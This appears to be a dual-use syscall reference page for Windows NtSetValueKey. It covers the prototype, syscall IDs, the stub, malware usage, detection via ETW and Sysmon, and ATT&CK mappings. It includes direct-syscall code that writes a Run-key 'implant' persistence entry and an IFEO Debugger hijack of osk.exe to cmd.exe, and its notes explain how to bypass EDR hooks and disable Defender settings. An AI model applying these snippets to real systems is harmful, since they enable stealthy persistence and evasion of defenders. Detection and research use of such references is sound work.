> Windows Syscalls
ntoskrnl.exeT1547.001T1546.012T1112

NtSetValueKey

Writes a named value into an open registry key — the workhorse for Run-key and IFEO persistence.

Prototype

NTSTATUS NtSetValueKey(
  HANDLE          KeyHandle,
  PUNICODE_STRING ValueName,
  ULONG           TitleIndex,
  ULONG           Type,
  PVOID           Data,
  ULONG           DataSize
);

Arguments

NameTypeDirDescription
KeyHandleHANDLEinHandle to an open key from NtOpenKey/NtCreateKey with KEY_SET_VALUE access.
ValueNamePUNICODE_STRINGinName of the value to set. NULL or empty string targets the key's default value.
TitleIndexULONGinReserved. Must be zero.
TypeULONGinValue type: REG_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_MULTI_SZ, etc.
DataPVOIDinPointer to the data buffer to write.
DataSizeULONGinSize of the data buffer in bytes (include trailing NUL for REG_SZ).

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x60win10-1507
Win10 16070x60win10-1607
Win10 17030x60win10-1703
Win10 17090x60win10-1709
Win10 18030x60win10-1803
Win10 18090x60win10-1809
Win10 19030x60win10-1903
Win10 19090x60win10-1909
Win10 20040x60win10-2004
Win10 20H20x60win10-20h2
Win10 21H10x60win10-21h1
Win10 21H20x60win10-21h2
Win10 22H20x60win10-22h2
Win11 21H20x60win11-21h2
Win11 22H20x60win11-22h2
Win11 23H20x60win11-23h2
Win11 24H20x60win11-24h2
Server 20160x60winserver-2016
Server 20190x60winserver-2019
Server 20220x60winserver-2022
Server 20250x60winserver-2025

Kernel module

ntoskrnl.exeNtSetValueKey

Related APIs

RegSetValueExWRegSetKeyValueWNtCreateKeyNtOpenKeyNtQueryValueKeyNtDeleteValueKey

Syscall stub

4C 8B D1            mov r10, rcx
B8 60 00 00 00      mov eax, 0x60
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Stable at `0x60` from Windows 7 through Win11 24H2. Pair with NtCreateKey/NtOpenKey to write values without going through advapi32, where most EDR user-mode hooks live. The kernel routes the call through CmSetValueKey → CmpSetValueKeyNew/Existing; hive flushes are deferred (CmpLazyFlushHiveList) so a freshly written value may not hit disk for several seconds — useful for actors racing detection.

Common malware usage

The execution side of registry persistence. Once an autostart subkey is opened, NtSetValueKey writes the actual launch command: - `Run` / `RunOnce`: a REG_SZ pointing at the implant. - `Image File Execution Options\<victim.exe>` → `Debugger` REG_SZ → attacker binary (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` appended with attacker payload. - `Services\<name>\ImagePath` for service hijack. - `AppInit_DLLs` to load into every user-mode process linking user32.dll. Direct-syscall callers also use it to flip security values (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent) when running elevated.

EmotetTrickBotQakbotAgentTeslaFormBookAPT29 (Cozy Bear)

Detection opportunities

Microsoft-Windows-Kernel-Registry ETW emits `EventSetValueKey` (Opcode 11) carrying KeyHandle path, value name, type and data length — invaluable for high-fidelity alerting on autostart and IFEO writes. Sysmon Event ID 13 (RegistryEvent: Set value) and Event ID 14 (Key/Value rename) cover the same on endpoints without EDR. Highest-value alerts: anything writing under `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)`, and any change to Defender exclusion or `SubmitSamplesConsent` values. Pair with image-load telemetry to catch the resulting process at next logon.

Direct syscall examples

cWrite a Run-key persistence entry

// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");

WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
    hRunKey,                  // from NtCreateKey/NtOpenKey
    &name,
    0,                        // TitleIndex
    REG_SZ,
    data,
    (ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));

asmDirect stub (SSN 0x60)

NtSetValueKey PROC
    mov  r10, rcx
    mov  eax, 60h
    syscall
    ret
NtSetValueKey ENDP

cIFEO Debugger hijack (T1546.012)

// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
//   Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";

NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
              debugger,
              (ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));

MITRE ATT&CK mappings

Last verified: 2026-05-20